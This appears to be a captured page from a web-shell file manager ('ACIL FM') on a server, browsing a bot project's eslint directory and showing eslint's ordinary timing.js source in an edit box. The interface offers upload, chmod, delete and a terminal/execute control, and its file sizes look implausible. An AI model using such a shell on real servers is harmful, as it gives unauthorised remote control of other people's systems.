ACIL FM
Dark
Refresh
Current DIR:
/home/benbot/bot/server/node_modules/eslint/lib/linter
/
home
benbot
bot
server
node_modules
eslint
lib
linter
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
code-path-analysis
-
chmod
Open
Rename
Delete
apply-disable-directives.js
18.66 MB
chmod
View
DL
Edit
Rename
Delete
esquery.js
9.13 MB
chmod
View
DL
Edit
Rename
Delete
file-context.js
3.53 MB
chmod
View
DL
Edit
Rename
Delete
file-report.js
18.25 MB
chmod
View
DL
Edit
Rename
Delete
index.js
179 B
chmod
View
DL
Edit
Rename
Delete
interpolate.js
1.31 MB
chmod
View
DL
Edit
Rename
Delete
linter.js
75.6 MB
chmod
View
DL
Edit
Rename
Delete
rule-fixer.js
5.04 MB
chmod
View
DL
Edit
Rename
Delete
rules.js
1.63 MB
chmod
View
DL
Edit
Rename
Delete
source-code-fixer.js
4.11 MB
chmod
View
DL
Edit
Rename
Delete
source-code-traverser.js
9.47 MB
chmod
View
DL
Edit
Rename
Delete
source-code-visitor.js
2.1 MB
chmod
View
DL
Edit
Rename
Delete
timing.js
3.73 MB
chmod
View
DL
Edit
Rename
Delete
vfile.js
2.75 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/benbot/bot/server/node_modules/eslint/lib/linter/timing.js
/** * @fileoverview Tracks performance of individual rules. * @author Brandon Mills */ "use strict"; const { startTime, endTime } = require("../shared/stats"); //------------------------------------------------------------------------------ // Helpers //------------------------------------------------------------------------------ /* c8 ignore next */ /** * Align the string to left * @param {string} str string to evaluate * @param {number} len length of the string * @param {string} ch delimiter character * @returns {string} modified string * @private */ function alignLeft(str, len, ch) { return str + new Array(len - str.length + 1).join(ch || " "); } /* c8 ignore next */ /** * Align the string to right * @param {string} str string to evaluate * @param {number} len length of the string * @param {string} ch delimiter character * @returns {string} modified string * @private */ function alignRight(str, len, ch) { return new Array(len - str.length + 1).join(ch || " ") + str; } //------------------------------------------------------------------------------ // Module definition //------------------------------------------------------------------------------ const enabled = !!process.env.TIMING; const HEADERS = ["Rule", "Time (ms)", "Relative"]; const ALIGN = [alignLeft, alignRight, alignRight]; /** * Decide how many rules to show in the output list. * @returns {number} the number of rules to show */ function getListSize() { const MINIMUM_SIZE = 10; if (typeof process.env.TIMING !== "string") { return MINIMUM_SIZE; } if (process.env.TIMING.toLowerCase() === "all") { return Number.POSITIVE_INFINITY; } const TIMING_ENV_VAR_AS_INTEGER = Number.parseInt(process.env.TIMING, 10); return TIMING_ENV_VAR_AS_INTEGER > 10 ? TIMING_ENV_VAR_AS_INTEGER : MINIMUM_SIZE; } /* c8 ignore next */ /** * display the data * @param {Object} data Data object to be displayed * @returns {void} prints modified string with console.log * @private */ function display(data) { let total = 0; const rows = Object.keys(data) .map(key => { const time = data[key]; total += time; return [key, time]; }) .sort((a, b) => b[1] - a[1]) .slice(0, getListSize()); rows.forEach(row => { row.push(`${((row[1] * 100) / total).toFixed(1)}%`); row[1] = row[1].toFixed(3); }); rows.unshift(HEADERS); const widths = []; rows.forEach(row => { const len = row.length; for (let i = 0; i < len; i++) { const n = row[i].length; if (!widths[i] || n > widths[i]) { widths[i] = n; } } }); const table = rows.map(row => row.map((cell, index) => ALIGN[index](cell, widths[index])).join(" | "), ); table.splice( 1, 0, widths .map((width, index) => { const extraAlignment = index !== 0 && index !== widths.length - 1 ? 2 : 1; return ALIGN[index](":", width + extraAlignment, "-"); }) .join("|"), ); console.log(table.join("\n")); // eslint-disable-line no-console -- Debugging function } /* c8 ignore next */ module.exports = (function () { const data = Object.create(null); /** * Time the run * @param {any} key key from the data object * @param {Function} fn function to be called * @param {boolean} stats if 'stats' is true, return the result and the time difference * @returns {Function} function to be executed * @private */ function time(key, fn, stats) { return function (...args) { const t = startTime(); const result = fn(...args); const tdiff = endTime(t); if (enabled) { if (typeof data[key] === "undefined") { data[key] = 0; } data[key] += tdiff; } return stats ? { result, tdiff } : result; }; } if (enabled) { process.on("exit", () => { display(data); }); } return { time, enabled, getListSize, }; })();
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply